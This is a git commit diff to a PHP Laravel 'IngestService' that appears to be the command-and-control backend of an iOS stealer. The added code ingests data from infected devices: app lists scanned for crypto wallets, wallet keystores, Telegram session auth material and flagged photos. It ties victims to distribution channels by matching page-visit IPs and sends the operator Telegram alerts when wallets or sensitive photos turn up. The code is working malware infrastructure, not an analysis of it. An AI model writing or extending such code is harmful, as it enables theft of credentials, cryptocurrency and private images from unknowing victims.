feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+187 -16
View File
@@ -2,10 +2,12 @@
namespace App\Services;
use App\Models\Channel;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -138,22 +140,18 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
$touch = ['updated_at' => now()];
$channelId = $this->extractChannelId($request, $payload);
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
$touch['channel_id'] = $channelId;
}
$existing->forceFill($touch)->saveQuietly();
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
return $existing->refresh();
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
}
/**
* Other C2 routes — create device if missing so business rows can attach,
* but never write channel_id (put will fill it later). Existing rows are left untouched.
* Other C2 routes — create device if missing so business rows can attach.
* Old builder: never write channel_id here (put will fill it later).
* New builder: IP-match iptj on create and when channel_id is still empty.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
@@ -164,10 +162,16 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
if ($this->isNewBuilderRequest($request)) {
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
return $existing->refresh();
}
return $existing;
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
}
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
@@ -208,15 +212,118 @@ class IngestService
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
private function fillMissingAttribution(
Device $device,
Request $request,
?array $payload,
bool $allowOldC,
): void {
$needChannel = $this->channelIdEmpty($device->channel_id);
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
if (! $needChannel && ! $needDomain) {
$device->forceFill(['updated_at' => now()])->saveQuietly();
return;
}
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$touch = ['updated_at' => now()];
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
$touch['channel_id'] = $attr['channel_id'];
}
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
$touch['source_domain'] = $attr['source_domain'];
}
$device->forceFill($touch)->saveQuietly();
}
/**
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
* attribute via recent PageVisit IP. Device is still created if no visit matches.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{
if ($this->isNewBuilderRequest($request)) {
return $this->matchNewBuilderVisit($request->ip());
}
if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function isNewBuilderRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_new_builder', false);
}
/**
* Latest iptj/pixel visit from this IP in the last N minutes whose
* channel_id is a new-builder channel, and no device from this IP has
* already claimed that channel.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function matchNewBuilderVisit(?string $ip): array
{
$ip = is_string($ip) ? trim($ip) : '';
if ($ip === '') {
return ['channel_id' => null, 'source_domain' => null];
}
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
$visits = PageVisit::query()
->where('ip', $ip)
->where('created_at', '>=', now()->subMinutes($minutes))
->orderByDesc('id')
->get();
foreach ($visits as $visit) {
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
if ($code === null) {
continue;
}
$channel = Channel::query()
->where('channel_id', $code)
->where('builder_type', Channel::BUILDER_NEW)
->first();
if ($channel === null) {
continue;
}
$claimed = Device::query()
->where('ip', $ip)
->where('channel_id', $code)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
'ip' => $request->ip(),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
@@ -239,7 +346,6 @@ class IngestService
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
@@ -250,18 +356,45 @@ class IngestService
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
'meta_json' => $item,
]
);
}
$this->refreshDeviceWalletFlag($device);
}
/**
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->save();
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
}
}
/**
@@ -353,6 +486,37 @@ class IngestService
]);
}
/**
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
* Lab has no dedicated table; store as a keystore identity blob.
*/
public function ingestTelegramAuth(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
if (array_key_exists('result', $payload)) {
$this->ingestKeystore($device, $payload);
return;
}
$blob = [];
foreach ([
'user_id', 'state', 'db_sqlite',
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
] as $key) {
if (array_key_exists($key, $payload)) {
$blob[$key] = $payload[$key];
}
}
if ($blob === []) {
return;
}
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
$this->ingestKeystore($device, ['result' => $blob]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
@@ -507,6 +671,7 @@ class IngestService
return;
}
$stored = 0;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
@@ -530,6 +695,12 @@ class IngestService
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
$stored++;
}
$xHit = $meta['x_hit'] ?? null;
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
}
}